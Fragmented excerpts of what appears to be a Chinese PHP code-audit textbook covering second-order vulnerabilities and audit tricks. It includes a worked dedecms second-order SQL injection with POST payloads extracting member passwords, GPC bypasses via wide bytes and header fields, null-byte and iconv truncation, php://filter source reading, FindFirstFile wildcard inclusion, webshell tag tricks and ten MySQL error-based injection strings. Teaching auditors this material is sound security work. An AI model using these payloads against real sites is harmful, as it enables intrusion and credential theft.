    {"text": "应该把cookie和session结合起来使用，不能从cookie中获取参数值然后进行操作。 另外在设置session时，需要保证客户端不能操作敏感session参数。 特别需要注意的是敏感数据不要放到cookie中，目前还有不少应用会把账号和密码都直接放入到cookie中，cookie在浏览器端以及传输过程中都存在被窃取的可能性，如果程序限制了一个用户只能同时在一个IP上面登录，这时候即使别人拿到了你不带密码的cookie也会使用不了，但是如果cookie里面保存了用户名和密码，这时候攻击者就可以尝试用密码直接登录了。"},
    {"text": "第7章 二次漏洞审计 二次漏洞有点像存储型XSS的味道，就算payload插进去了，能不能利用还得看页面输出有没有过滤，由于这一类漏洞挖掘起来逻辑会稍微复杂一点，针对性挖掘的人比较少，所以目前这方面还属于重灾区，大多数应用只要肯仔细去通读研究全文代码，理解业务逻辑，还是能挖出来部分二次漏洞的。既然二次漏洞现在这么严重，那么我们来看看什么是二次漏洞以及怎样挖掘。 7.1 什么是二次漏洞 需要先构造好利用代码写入网站保存，在第二次或多次请求后调用攻击代码触发或者修改配置触发的漏洞叫做二次漏洞，举一个简单的SQL注入例子，攻击者A在网站评论的地方发表了带有注入语句的评论，这时候注入语句已经被完整地保存到数据库中，但是评论引用功能存在一个SQL注入漏洞，于是攻击者在评论处引用刚提交的带有注入语句的评论，提交后server端从数据库中取出第一次的评论，由于第一次评论中带有单引号可闭合第二次的语句，从而触发了注入漏洞，这是一个非常经典的而又真实的案例，它就是在2013年5月初被公布的dedecms评论二次注入漏洞，不过当时还有一个非常精彩的60个字符长度限制突破，稍后我们在案例里面分析这个漏洞的来龙去脉。 二次漏洞的出现归根结底是开发者在可信数据的逻辑上考虑不全面，开发者认为这个数据来源或者这个配置是不会存在问题的，而没有想到另外一个漏洞能够修改这些“可信”数据，整个漏洞产生的流程图如图7-1所示。 图 7-1 这样的漏洞没有很大的逻辑关联，所以在发现和修补上面都比一般的直接利用的漏洞相对复杂一点。 7.2 二次漏洞审计技巧 虽然二次漏洞写入payload和触发payload很可能不在一个地方，但是还是可以通过找相关关键字去定位的，只是精准度会稍稍降低，比如可以根据数据库字段、数据表名等去代码中搜索，大多数二次漏洞的逻辑性比一般的漏洞强得多，所以为了更好地挖掘到二次漏洞，最好还是把全部代码读一遍，这样能帮助我们更好地了解程序的业务逻辑和全局配置，读代码挖的时候肯定轻松加愉快。 业务逻辑越是复杂的地方越容易出现二次漏洞，我们可以重点关注购物车、订单这块，另外还有引用数据、文章编辑、草稿等，这些地方是跟数据库交互的，跟文件系统交互的就是系统配置文件了，不过一般这些都是需要管理员权限才能操作。而在二次漏洞类型里面，我们可以重点关注SQL注入、XSS。"},
    {"text": "7.3 dedecms二次注入漏洞分析 顺便找一找还是能找到不少二次漏洞很经典的案例，这里我们还是以dedecms的feedback.php文件引用评论的SQL注入漏洞来做一个分析，该漏洞在2013年3月在乌云网被公布，漏洞编号WooYun-2013-18562，作者为safekey团队的yy520，公布初期还有一个60个注入字符的限制，在经过safekey团队的讨论后成功绕过了这个限制使得漏洞利用并不鸡肋。 在漏洞公布之后，官方立即采取措施进行了漏洞修复，但非专业安全的人修复漏洞都有一个通病，不会做漏洞联想，别人指出哪有漏洞就修哪，跟这个漏洞同样利用方式的漏洞，在另外一个文件至今几年过去了还存在。 漏洞在/plus/feedback.php文件，代码如下： // 保存评论内容 if （ $comtype == 'comments' ） { $arctitle = addslashes （ $title ）；"},
    {"text": "='' ） { $inquery = \"INSERT INTO `#@__feedback` （ `aid` ， `typeid` ， `username` ， `arctitle` ， `ip` ， `ischeck` ， `dtime` ， `mid` ， `bad` ， `good` ， `ftype` ， `face` ， `msg` ） VALUES （ '$aid' ， '$typeid' ， '$username' ， '$arctitle' ， '$ip' ， '$ischeck' ， '$dtime' ， '{$cfg_ml->M_ID}' ， '0' ， '0' ， '$feedbacktype' ， '$face' ， '$msg' ）；"},
    {"text": "这段代码的功能是保存用户在文章评论页面提交的评论信息，其中： $arctitle = addslashes （ $title ）； 获取被评论的文章标题，这里使用了addslashes（）函数过滤，接着： $inquery = \"INSERT INTO `#@__feedback` （ `aid` ， `typeid` ， `username` ， `arctitle` ， `ip` ， `ischeck` ， `dtime` ， `mid` ， `bad` ， `good` ， `ftype` ， `face` ， `msg` ） VALUES （ '$aid' ， '$typeid' ， '$username' ， '$arctitle' ， '$ip' ， '$ischeck' ， '$dtime' ， '{$cfg_ml->M_ID}' ， '0' ， '0' ， '$feedbacktype' ， '$face' ， '$msg' ）；"},
    {"text": "将提交的$arctitle变量保存到数据库中，这个过程是没有问题的，我们接着看： // 引用回复 elseif （ $comtype == 'reply' ） { $row = $dsql->GetOne （ \"SELECT * FROM `#@__feedback` WHERE id ='$fid'\" ）；"},
    {"text": "$msg = $quotemsg.$msg ； //echo $msg.\"<br /><br />\" ； $msg = HtmlReplace （ $msg ， 2 ）； // 将 $arctitle 插入到数据库 $inquery = \"INSERT INTO `#@__feedback` （ `aid` ， `typeid` ， `username` ， `arctitle` ， `ip` ， `ischeck` ， `dtime` ， `mid` ， `bad` ， `good` ， `ftype` ， `face` ， `msg` ） VALUES （ '$aid' ， '$typeid' ， '$username' ， '$arctitle' ， '$ip' ， '$ischeck' ， '$dtime' ， '{$cfg_ml->M_ID}' ， '0' ， '0' ， '$feedbacktype' ， '$face' ， '$msg' ） \" ； $dsql->ExecuteNoneQuery （ $inquery ）； } 这段代码的作用是引用之前的评论到新的评论中，其中： $row = $dsql->GetOne （ \"SELECT * FROM `#@__feedback` WHERE id ='$fid'\" ）；"},
    {"text": "// 取出之前保存的文章标题 取出之前提交的文章标题，赋值给$arctitle变量，再往下： $inquery = \"INSERT INTO `#@__feedback` （ `aid` ， `typeid` ， `username` ， `arc-title` ， `ip` ， `ischeck` ， `dtime` ， `mid` ， `bad` ， `good` ， `ftype` ， `face` ， `msg` ） VALUES （ '$aid' ， '$typeid' ， '$username' ， '$arctitle' ， '$ip' ， '$ischeck' ， '$dtime' ， '{$cfg_ml->M_ID}' ， '0' ， '0' ， '$feedbacktype' ， '$face' ， '$msg' ） \" ；"},
    {"text": "可以看到$arctitle变量被写入到数据库，看到这里还记不记得，这个$arctitle是由用户提交的，第一次写入数据库的时候使用了addslashes（）函数过滤，但是引用评论重新写入数据库的时候并没有过滤，文章标题的数据在整个流程的变化如图7-2所示。"},
    {"text": "图 7-2 用SQL来表示一下如下： 第一次插入的SQL为： insert into xx （ arctitle ） values （ '11\\'' ）； 保存到数据库的标题内容为11'，然后这个数据被select查询出来拼接到第二次插入的SQL上，SQL语句如下： insert into xx （ arctitle ） values （ '11'' ）；"},
    {"text": "在这个漏洞中，标题字段有60个字符的长度限制，不能一次性把完整的payload写入进去，所以我们需要两次提交payload，最终利用方式如下，第一次请求提交 /plus/feedback.php ？"},
    {"text": "aid=52 POST内容： action=send&comtype=comments&aid=52&isconfirm=yes&msg=xx&validate=BRUN&title=xx' ，（ char （ @`'` ））， /* 我们打印SQL语句出来看看，如图7-3所示。"},
    {"text": "aid=52 POST内容： action=send&comtype=reply&fid=34&isconfirm=yes&validate=sill&msg=*/1 ， 2 ， 3 ， 4 ， 5 ， 6 ， 7 ，（ select/**/concat （ userid ， 0x3a ， pwd ） /**/from/**/dede_member/**/limit/**/1 ）） %23 打印SQL语句出来看看，如图7-4所示。"},
    {"text": "第8章 代码审计小技巧 有句话叫熟能生巧，说的是做任何事情，只要做的次数足够多，到达一定熟悉程度后，就一定会掌握一些技巧，来优化我们的效率，那在PHP代码审计这么技术性的工作上，技巧是一定有的，有了这些技巧之后，我们的代码审计就能事半功倍，也能帮助我们挖掘到更多更有价值的漏洞。 因为本书主要介绍的是PHP代码审计，所以PHP应用代码本身之外的漏洞利用的技巧不会介绍。下面我们会从怎么钻GPC等过滤、字符串常见的安全问题、PHP输入输出流、FUZZ挖掘漏洞以及正则表达式不严谨容易出现的问题等几个方面来介绍一些小技巧。 8.1 钻GPC等转义的空子 GPC会自动把我们提交上去的单引号等敏感字符给转义掉，这样我们的攻击代码就没法执行了，GPC是PHP天生自带的功能，所以是我们最大的天敌。不过不要担心，GPC并不是把所有变量都进行了过滤，反而人们容易忽视而又用得多的$_SERVER变量没有被GPC过滤，包括编码转换的过程中，部分情况下我们也是可以干掉GPC的转义符号，是不是有点小激动？下面我们来仔细了解下。 8.1.1 不受GPC保护的$_SERVER变量 GPC上面我们已经介绍过，是用来过滤request中提交的数据，将特殊字符进行转义来防止攻击，在PHP5之后用$_SERVER取到的header字段不受GPC影响，所以当GPC开启的时候，它里面的特殊字符如单引号也不会被转义掉，另外一点是普通程序员很少会考虑到这些字段被修改。而在header注入里面最常见的是user-agent、referer以及client-ip/x-forward-for，因为大多的Web应用都会记录访问者的IP以及referer等信息。同样的$_FILES变量也一样不受GPC保护。 测试代码如下： < ？ php echo 'GPC'.get_magic_quotes_gpc （）； echo '<br /> client-ip = '.$_SERVER[\"HTTP_CLIENT_IP\"] ； echo '<br />$_GET[a] = '.$_GET['a'] ； 测试截图见图8-1。 图 8-1 8.1.2 编码转换问题 本书前面第4章介绍过宽字节注入，这就是一种非常典型的编码转换问题导致绕过GPC的方式。我们之前的举例说明，给一个查询页面ID参数请求/1.php？id=-1%df’and 1=1%23时，这时MySQL运行的SQL语句为： select * from user where id= ’ 1 運’ and 1=1# ’ 这是由于单引号被自动转义成\\’，前面的%df和转义字符\\反斜杠（%5c）组合成了%df%5c，也就是“運”字，这时候单引号依然还在，于是成功闭合了前面的单引号。 这个例子讲的是PHP与MySQL交互过程中发生编码转换导致的问题，而其实只要发生编码转换就有可能出现这种问题，也就是说在PHP自带的编码转换函数上面也会存在这个问题，比如mb_convert_encoding（）函数。 我们来证实一下，代码如下： <meta http-equiv=\"Content-Type\" content=\"text/html ； charset=utf-8\"/> < ？ php $sql=\"where id='\".urldecode （ \"-1%df%5c' -- \" ） .\"'\" ； print_r （ mb_convert_encoding （ $sql ， \"UTF-8\" ， \"GBK\" ））；？ > 这里要注意的是，把网页和文件编码都设置成UTF-8，不然浏览器会自动转码，这段代码是把UTF-8编码转换成GBK，运行这段代码，输出如下： where id='-1 運 ' -- ' 可以看到也成功闭合了前面的单引号。 这种方式造成的SQL注入也有不少先例，比如ecshop就出过多次这个问题，我们来看看出现这个问题的核心代码，代码位置在includes/cls_iconv.php文件的chinese类中的Convert（）函数： function Convert （ $source_lang ， $target_lang ， $source_string = '' ） { /****** 省略 ****/ if （（ $this->iconv_enabled || $this->mbstring_enabled ） && ！（ $this-> config['source_lang'] == 'GBK' && $this->config['target_lang'] == 'BIG-5' ）） { if （ $this->config['target_lang'] ！ = 'UNICODE' ） { $string = $this->_convert_iconv_mbstring （ $this-> SourceText ， $this->config['target_lang'] ， $this-> config['source_lang'] ）； /* 如果正确转换 */ if （ $string ） { return $string ； } } else { $string = '' ； $text = $SourceText ； while （ $text ） { if （ ord （ substr （ $text ， 0 ， 1 ）） > 127 ） { if （ $this->config['source_lang'] ！ = 'UTF-8' ） { $char = $this->_convert_iconv_mbstring （ substr （ $text ， 0 ， 2 ）， 'UTF-8' ， $this->config ['source_lang'] ）； } else 这个函数的作用是将UTF-8的编码转换成GBK，本函数调用到$this->_convert_iconv_mbstring（）函数，我们跟进去看看，代码如下： function _convert_iconv_mbstring （ $string ， $target_lang ， $source_lang ） { if （ $this->iconv_enabled ） { $return_string = @iconv （ $source_lang ， $target_lang ， $string ）； if （ $return_string ！ == false ） { return $return_string ； } } if （ $this->mbstring_enabled ） { if （ $source_lang == 'GBK' ） { $source_lang = 'CP936' ； } if （ $target_lang == 'GBK' ） { $target_lang = 'CP936' ； } $return_string = @mb_convert_encoding （ $string ， $target_lang ， $source_lang ）； if （ $return_string ！ == false ） 可以看到最终调用iconv（）函数或者mb_convert_encoding（）函数来进行转码，如果调用这个函数之后没有再次过滤，则会存在注入问题。"},
    {"text": "8.2 神奇的字符串 中国文字博大精深，而在计算机里面就是因为这些语言的“博大”即大而杂，导致机器在语言编码转换的时候，经常会出现各种各样的异常，这些神奇的字符串就有可能组合成一堆乱码出来，也有可能直接把程序搞崩溃掉，不过总有那么一些字符，可以帮助我们在利用漏洞的时候变得更简单一些，下面我们就来看看是哪些函数这么调皮。"},
    {"text": "8.2.1 字符处理函数报错信息泄露 页面的报错信息通常能泄露文件绝对路径、代码、变量以及函数等信息，页面报错有很多情况，比如参数少了或者多了、参数类型不对、数组下标越界、页面超时，等，不过并不是所有情况下页面都会出现错误信息，要显示错误信息需要打开在PHP配置文件php.ini中设置display_errors=on或者在代码中加入error_reporting（）函数，error_reporting（）函数有几个选项来配置显示错误的等级，列表如下： E_WARNING E_PARSE E_NOTICE E_CORE_ERROR E_CORE_WARNING E_COMPILE_ERROR E_COMPILE_WARNING E_USER_ERROR E_USER_WARNING E_USER_NOTICE E_STRICT E_RECOVERABLE_ERROR E_ALL 其中最常用的是E_ALL、E_WARNING、E_NOTICE、E_ALL代表提示所有问题，E_WARNING代表显示错误信息，E_NOTICE则是显示基础提示信息。 大多数错误提示都会显示文件路径，在渗透测试中，经常遇到webshell的场景要用到文件绝对路径，所以这个利用页面报错来获取Web路径的方式也比较实在了，用户提交上去的数据后端大多是以字符串方式处理，所以利用字符串处理函数报错成了必不可少的方法，对于利用参数来报错的方式，给函数传入不同类型的变量是最实用的方式。"},
    {"text": "大多数程序会使用trim（）函数对用户名等值去掉两边的空格，这时候如果我们传入的用户名参数是一个数组，则程序就会报错，测试代码如下： < ？"},
    {"text": "图 8-2 类似的函数还有很多很多，比如 addcslashes（）、addslashes（）、bin2hex（）、chop（）、chr（）、chunk_split（）、convert_cyr_string（）、convert_uudecode（）、convert_uuencode（）、count_chars（）、crc32（）、crypt（）、echo（）、explode（）、fprintf（）、get_html_translation_table（）、hebrev（）、hebrevc（）、html_entity_decode（）、htmlentities（）、htmlspecialchars_decode（）、htmlspecialchars（）、implode（）、join（）、levenshtein（）、localeconv（）、ltrim（）、md5_file（）、md5（）、metaphone（）、money_format（）、nl_langinfo（）、nl2br（）、number_format（）、ord（）、parse_str（）、print（）、printf（）、quoted_printable_decode（）、quotemeta（）、rtrim（）、setlocale（）、sha1_file（）、sha1（）、similar_text（）、soundex（）、sprintf（）、sscanf（）、str_ireplace（）、str_pad（）、str_repeat（）、str_replace（）、str_rot13（）、str_shuffle（）、str_split（）、str_word_count（）、strcasecmp（）、strchr（）、strcmp（）、strcoll（）、strcspn（）、strip_tags（）、stripcslashes（）、stripos（）、stripslashes（）、stristr（）、strlen（）、strnatcasecmp（）、strnatcmp（）、strncasecmp（）、strncmp（）、strpbrk（）、strpos（）、strrchr（）、strrev（）、strripos（）、strrpos（）、strspn（）、strstr（）、strtok（）、strtolower（）、strtoupper（）、strtr（）、substr_compare（）、substr_count（）、substr_replace（）、substr（）、trim（）、ucfirst（）、ucwords（）、vfprintf（）、vprintf（）、vsprintf（）、wordwrap（）、strtolower（）、strtoupper（）、ucfirst（）、ucwords（）、ucfirst（）、ucwords（），等等函数。"},
    {"text": "8.2.2 字符串截断 如果你以前做过渗透测试，那字符串截断应该是我们比较熟悉的一个利用方式，特别是在零几年，在利用文件上传漏洞的时候，经常会用到抓包，然后修改POST文件上传数据包里面的文件，在文件名里面加一个%00，用来绕过文件扩展名的检查，又能把脚本文件写入到服务器中，下面我们就来了解下其中的原理吧。 8.2.2.1 %00空字符截断 字符串截断被利用最多的是在文件操作上面，通常用来利用文件包含漏洞和文件上传漏洞，%00即NULL是会被GPC和addslashes（）函数过滤掉，所以要想用%00截断需要GPC关闭以及不被addslashes（）函数过滤，另外在PHP5.3之后的版本全面修复了文件名%00截断的问题，这个版本以后也是不能用这种方式截断。 为什么PHP在文件操作的时候用%00会截断字符？ PHP基于C语言开发，%00在URL解码后为\\0，\\0在C语言中是字符串结束符，遇到\\0的时候以为到了字符串结尾，不再读取后面的字符串，自然而然的就理解成了截断。"},
    {"text": "在同目录下面新建文件2.txt，内容为输出phpinfo信息代码，当我们请求/1.php？ f=2.txt%00时，实际上包含了2.txt这个文件，正常执行phpinfo代码。"},
    {"text": "8.2.2.2 iconv函数字符编码转换截断 iconv（）函数用来做字符编码转换，比如从UTF-8转换到GBK，字符集的编码转换总会存在一定的差异性，导致部分编码不能被成功转换，也就是出现常说的乱码。 在使用iconv（）函数转码的时候，当遇到不能处理的字符串则后续字符串会不被处理。"},
    {"text": "图 8-3 可以看到第一次输出$a变量，1和2都被正常输出，当使用iconv（）函数转换编码后，从chr（130）字符开始之后的字符串都没有输出，已经被成功截断。"},
    {"text": "这种截断有很多利用常见，下面我们来看一个真实的案例，乌云平台漏洞【建站之星模糊测试实战之任意文件上传漏洞】，漏洞编号WooYun-2014-48293，漏洞作者为felixk3y，漏洞发生在/module/mod_tool.php文件第89行起，img_create（）函数，代码如下： public function img_create （） { $file_info =& ParamHolder ：： get （ 'img_name' ， array （）， PS_FILES ）；"},
    {"text": "preg_match （ '/\\. （ '.PIC_ALLOW_EXT.' ） $/i' ， $file_info[\"name\"] ）） { Notice ：： set （ 'mod_marquee/msg' ， __ （ 'File type error ！"},
    {"text": "} if （ file_exists （ ROOT.'/upload/image/'.$file_info[\"name\"] ）） { $file_info[\"name\"] = Toolkit ：： randomStr （ 8 ） .strrchr （ $file_info[\"name\"] ， \".\" ）；"},
    {"text": "} 在这里调用_savelinkimg（）函数保存文件，跟进该函数，函数代码如下： private function _savelinkimg （ $struct_file ） { $struct_file['name'] = iconv （ \"UTF-8\" ， \"gb2312\" ， $struct_file['name'] ）； echo $struct_file['name'] ； move_uploaded_file （ $struct_file['tmp_name'] ， ROOT.'/upload/image/'.$struct_ file['name'] ）； return ParamParser ：： fire_virus （ ROOT.'/upload/image/'.$struct_file['name'] ）； } 代码中： $struct_file['name'] = iconv （ \"UTF-8\" ， \"gb2312\" ， $struct_file['name'] ）； 对文件名进行转码，之后： move_uploaded_file （ $struct_file['tmp_name'] ， ROOT.'/upload/image/'.$struct_file['name'] ）；"},
    {"text": "8.3 php：//输入输出流 提到流，大家会想到水流或者数据流，PHP提供了php://的协议允许访问PHP的输入输出流、标准输入输出和错误描述符，内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。主要提供如下访问方式来使用这些封装器： php ： //stdin php ： //stdout php ： //stderr php ： //input php ： //output php ： //fd php ： //memory php ： //temp php ： //filter 使用最多的是php://input、php://output以及php：//filter，其中php://input是可以访问请求的原始数据的只读流。即可以直接读取到POST上没有经过解析的原始数据，但是php://input不能在获取“multipart/form-data”方式提交的数据。我们做一个测试，测试代码如下： < ？ php echo file_get_contents （ \"php ： //input\" ）； 当我们用POST提交a=111111时，a=111111被直接打印出来，如图8-4所示。 图 8-4 而php://output是一个只写的数据流，跟php://input相反，php://input是读取POST提交上来的数据，而php://output则是将流数据输出。 php://filter是一个文件操作的协议，可以对磁盘中的文件进行读写操作，效果类似于readfile（）、file（）和file_get_contents（），它有多个参数可以进行相应的操作，说明如表8-1所示。 表 8-1 我们来测试使用php：//filter写文件，测试代码如下： < ？ php file_put_contents （ \"php ： //filter/write=string.rot13/resource=example.txt\" ， \"Hello World\" ）；？ > 当我们执行代码的时候，会像脚本同目录下写入“example.txt”文件，内容为rot13编码过的“Hello World”，而php：//filter还可以用来读文件，如果有远程文件保护漏洞，类似如下的代码： < ？ php include （ $_GET['f'] ）；？ > 正常情况下如果我们直接传入一个文件名，则是会被include函数包含并执行，如果我们想读取Web目录下的PHP文件，则可以通过请求： /1.php ？ f=php ： //filter/convert.base64-encode/resource=1.php 来将文件进行Base64编码后输出，输入结果如图8-5所示。 图 8-5 8.4 PHP代码解析标签 PHP有几种解析标签的写法来标识PHP代码，比如最标准的<？php？>，当PHP解析器找到这个标签的时候，就会执行这个标签里面的代码，实际上除了这种写法外还有一些标签，分别如下： 1）脚本标签 ：<script language=\"php\">...</script>，这种方式写法有点像JavaScript，不过也是可以正常解析PHP代码。 2）短标签 ：<？…？>，使用短标签前需要在php.ini中设置short_open_tag=on，默认是on状态。 3）asp标签 ：<%…%>，在PHP 3.0.4版后可用，需要在php.ini中设置asp_tags=on，默认是off。 因为有的程序在后台配置模板的时候，禁止提交<？php？>这样的标签来执行PHP代码，但是大部分程序会存在过滤不全的问题，所以这些各式各样的写法常常用于留后门以及绕过Web程序或者waf的防护写入webshell。 我们来测试脚本标签方式，测试代码如下： <script language=\"php\"> phpinfo （） </script> 执行后如图8-6所示。 图 8-6 可以看到PHP代码可以正常解析执行。"},
    {"text": "8.5 fuzz漏洞发现 fuzz指的是对特定目标的模糊测试，这里要注意的是，针对特定目标甚至说是特定请求，它不同于漏洞扫描器进行批量漏洞扫描，不过它们的初衷都是以发现bug（漏洞）为目的。由于本书主要介绍代码安全，所以我们后面所说的fuzz都是安全方向的fuzz。fuzz在很早就应用在软件测试领域，并且发现了大量不可预知的漏洞，fuzz到底是怎么样的一个东西，我们来通过它的工作原理流程认识一下，大概流程如图8-7所示。 图 8-7 举个最简单的读文件例子，当我们用Office Word打开doc文档的时候，Word软件会按照指定的格式读取文件的内容，如果文件格式出现异常字符，Word无法解析，而又没有提前捕捉到这种类型的错误，则有可能引发Word程序崩溃，这就是一个bug，这时候我们就可以通过工具生成大量带有异常格式或者字符的doc文档，然后调用Word程序去读取，尝试发现更多的bug，这就是一个完整的fuzz测试例子。虽然它不是一种纯白盒的漏洞挖掘方法，但我们在白盒审计过程中，也经常需要用到fuzz的方式来寻找漏洞利用方法。 目前互联网上已经有不少fuzz工具来专门做各种各样的fuzz测试，比如无线、Web、浏览器、协议，等等，在Web安全这块，使用比较多的像pywebfuzz，基于Python开发，不过相对来说这个工具年代还是有点久了，可以用的payload还算比较全，比较常见的文件包含、文件上传、SQL注入、XSS等都支持，详细的列表如图8-8所示。 图 8-8 playload文件在各个目录下面，我们打开其中一个payload规则文件后，可以看到类似如下的规则： cFc%20%20%20 dBm%20%20%20 cfm...... cfml...... cfc....... dbm...... cFm...... cFml...... cFc...... dBm...... cfm%20%20%20...%20.%20.. cfml%20%20%20...%20.%20.. cfc%20%20%20...%20.%20.. dbm%20%20%20...%20.%20.. cFm%20%20%20...%20.%20.. 我们之前在8.2.2.2节介绍iconv函数字符编码转换截断时提到过一个字符串枚举来尝试寻找能导致iconv（）函数异常而截断数据，也是fuzz非常典型的一种利用方式，当时fuzz用的代码非常粗糙，如下所示： < ？ php for （ $i=0 ； $i<1000 ； $i++ ） { $a='1'.chr （ $i ） .'2' ； echo $i.' -- ' ； echo iconv （ \"UTF-8\" ， \"gbk\" ， $a ）； echo '<br />' ； } 运行脚本后结果如下，当遇到不能正常转码的时候出现字符串截断，并且iconv（）函数报出一个notice提示，如图8-9所示。 图 8-9 8.6 不严谨的正则表达式 很多程序在判断文件上传扩展名、URL解析、入库参数等值的时候，都会使用正则表达式，正则表达式确实是一个非常方便和灵活的东西，能够帮助我们少写很多逻辑处理的代码，但是正则表达式也跟程序语言一样，规则写得不严谨，就会导致安全问题产生，至今已经有很多程序在这块栽了跟头，常见的几种问题如下。 1.没有使用^和$限定匹配开始位置 举例来说明，通过HTTP_CLIENT_IP来获取用户IP，其中这个值是可以被用户修改的，所以一般都会在服务端再过滤一下，看看是否被修改过，而过滤不严格的正则表达式很多都写成“\\d+\\.\\d+\\.\\d+\\.\\d+”的形式，用代码来看看它的问题的在哪： < ？ php $ip=$_SERVER['HTTP_CLIENT_IP'] ； if （ preg_match （ '/\\d+\\.\\d+\\.\\d+\\.\\d+/' ， $ip ）） { echo $ip ； } 当请求头里面添加“client-ip：127.0.0.1aa”时输出127.0.0.1aa，同样通过检测，严谨一点的正则应该写成“^\\d+\\.\\d+\\.\\d+\\.\\d+$”。 2.特殊字符未转义 在正则表达式里，所有能被正则表达式引擎解析的字符都算是特殊字符，而在匹配这些字符的原字符时需要使用反斜杠（\\）来进行转义，如果不进行转义，像样英文句号（.）则可用来表示任何字符，存在安全隐患。下面介绍一个例子，代码如下： < ？ php $filename=urldecode （ 'xxx.php%00jpg' ）； if （ preg_match （ '/. （ jpg|gif|png|bmp ） $/i' ， $filename ）） { file_put_contents （ $filename ， 'aa' ）； } else{ echo ' 不允许的文件扩展名 ' ； } ？ > 从这段代码的意思可以看出，程序员原本是想检查文件的扩展名，如果不是图片文件则不允许上传，但是在检查扩展名的时候，正则表达式里面扩展名前面的点（.）没有进行转义，导致变成了全匹配符。如果这时候提交的文件名是'xxx.php%00jpg'，则会绕过检查并写入一个PHP脚本文件。"},
    {"text": "8.7 十余种MySQL报错注入 利用数据库报错来显示数据的注入方式经常会在入侵中利用到，这种方法有一点局限性，需要页面有错误回显。而在代码审计中，经常会遇到没有正常数据回显的SQL注入漏洞，这时候我们就需要用报错注入的方式最快地拿到注入的数据。 早在很久以前就用到的数据类型转换报错是用得最多的一种方式，这种方式大多用在微软的SQL Server上，利用的是convert（）和cast（）函数，MySQL的报错SQL注入方式更多，不过多数人以为只有三种，分别是floor（）、updatexml（）以及extractvalue（）这三个函数，但实际上还有很多个函数都会导致MySQL报错并且显示出数据，它们分别是GeometryCollection（）、polygon（）、GTID_SUBSET（）、multipoint（）、multilinestring（）、multipolygon（）、LINESTRING（）、exp（），下面我们来看看它们具体的报错用法，需要注意的一点是，这些方法并不是在所有版本都通用，也有比较老的版本没有这些函数。 通常注入的SQL语句大多是\"select*from phpsec where id=？”这种类型，这里我们就用这种形式来说明怎么利用，利用方式分别如下。 第一种：floor（） 注入语句： id=1 and （ select 1 from （ select count （ * ）， concat （ user （）， floor （ rand （ 0 ） *2 ）） x from information_schema.tables group by x ） a ） SQL语句执行后返回的错误信息如图8-10所示。 图 8-10 通过截图我们可以看到MySQL出现了报错，并且显示出了当前的连接用户名。 第二种：extractvalue（） 注入语句： id = 1 and （ extractvalue （ 1 ， concat （ 0x5c ， （ select user （））））） 错误信息如图8-11所示。 第三种：updatexml（） 注入语句： id = 1 AND （ updatexml （ 1 ， concat （ 0x5e24 ，（ select user （））， 0x5e24 ）， 1 ）） 图 8-11 错误信息： [Err] 1105 - XPATH syntax error ： '^$root@localhost^$' 第四种：GeometryCollection（） 注入语句： id = 1 AND GeometryCollection （（ select * from （ select * from （ select user （）） a ） b ）） 错误信息： [Err] 1367 - Illegal non geometric ' （ select `b`.`user （） ` from （ select 'root@localhost' AS `user （） ` from dual ） `b` ） ' value found during parsing 第五种：polygon（） 注入语句： id = 1 AND polygon （（ select * from （ select * from （ select user （）） a ） b ）） 错误信息： [Err] 1367 - Illegal non geometric ' （ select `b`.`user （） ` from （ select 'root@localhost' AS `user （） ` from dual ） `b` ） ' value found during parsing 第六种：multipoint（） 注入语句： id = 1 AND multipoint （（ select * from （ select * from （ select user （）） a ） b ）） 错误信息： [Err] 1367 - Illegal non geometric ' （ select `b`.`user （） ` from （ select 'root@localhost' AS `user （） ` from dual ） `b` ） ' value found during parsing 第七种：multilinestring（） 注入语句： id = 1 AND multilinestring （（ select * from （ select * from （ select user （）） a ） b ）） 错误信息： [Err] 1367 - Illegal non geometric ' （ select `b`.`user （） ` from （ select 'root@localhost' AS `user （） ` from dual ） `b` ） ' value found during parsing 第八种：multipolygon（） 注入语句： id = 1 AND multipolygon （（ select * from （ select * from （ select user （）） a ） b ）） 错误信息： [Err] 1367 - Illegal non geometric ' （ select `b`.`user （） ` from （ select 'root@localhost' AS `user （） ` from dual ） `b` ） ' value found during parsing 第九种：linestring（） 注入语句： id = 1 AND LINESTRING （（ select * from （ select * from （ select user （）） a ） b ）） 错误信息： [Err] 1367 - Illegal non geometric ' （ select `b`.`user （） ` from （ select 'root@localhost' AS `user （） ` from dual ） `b` ） ' value found during parsing 第十种：exp（） 注入语句： id = 1 and EXP （ ~ （ SELECT*from （ SELECT user （）） a ）） 错误信息： [Err] 1690 - DOUBLE value is out of range in 'exp （ ~ （（ select 'root@localhost' from dual ））） '"},
    {"text": "8.8 Windows FindFirstFile利用 目前大多数程序都会对上传的文件名加入时间戳等字符再进行MD5，然后下载文件的时候通过保存在数据库里的文件ID读取出文件路径，一样也实现了文件下载，这样我们就无法直接得到我们上传的webshell文件路径，但是当在Windows下时，我们只需要知道文件所在目录，然后利用Windows的特性就可以访问到文件，这是因为Windows在搜索文件的时候使用到了FindFirstFile这一个winapi函数，该函数到一个文件夹（包括子文件夹）去搜索指定文件。 利用方法很简单，我们只要将文件名不可知部分之后的字符用“<”或者“>”代替即可，不过要注意的一点是，只使用一个“<”或者“>”则只能代表一个字符，如果文件名是12345或者更长，这时候请求“1<”或者“1>”都是访问不到文件的，需要“1<<”才能访问到，代表继续往下搜索，有点像Windows的短文件名，这样我们还可以通过这个方式来爆破目录文件了。我们来做个简单的测试，测试代码如下： //1.php < ？ php include （ $_GET['file'] ）； 再在同目录下新建一个文件名为“123456.txt”的文件，内容为phpinfo（）函数，请求/1.php？file=1<<即可包含，效果如图8-12所示。 图 8-12 通过上面的截图我们可以看到成功包含了123456.txt文件。 这里我们要想，什么情况下才能利用这个特性？目前所有PHP版本都可用，PHP并没有在语言层面禁止使用>、<这些特殊字符，在函数层面来讲，这个特性并不是只有include（）、require（）这些文件包含函数或者file_get_contents（）这类文件读取函数才可用，事实上还有很多个函数也一样是可用这个特性的，参见表8-2。 表 8-2 8.9 PHP可变变量 PHP可变变量指的一个变量的变量名可以动态地设置和使用，是PHP语言的一种特性，这个特性让我们在操作变量的时候更加灵活方便，但是同时也带来一些安全问题，我们在挖掘到代码执行漏洞的时候就经常需要用到可变变量来执行代码。 我们先用一段代码来理解什么是可变变量，代码如下： < ？ php $a='seay' ； $$a='123' ； echo $seay ；？ > 在这段代码中，我们并没有直接定义$seay变量，但是我们来看看最终的输出$seay的结果是多少，如图8-13所示。 图 8-13 从截图中可以看到，输出变量$seay的值为“123”，这个123是在$$a赋值的，这时候$a被赋值了\"seay\"，而$$a就相当于$'seay'。 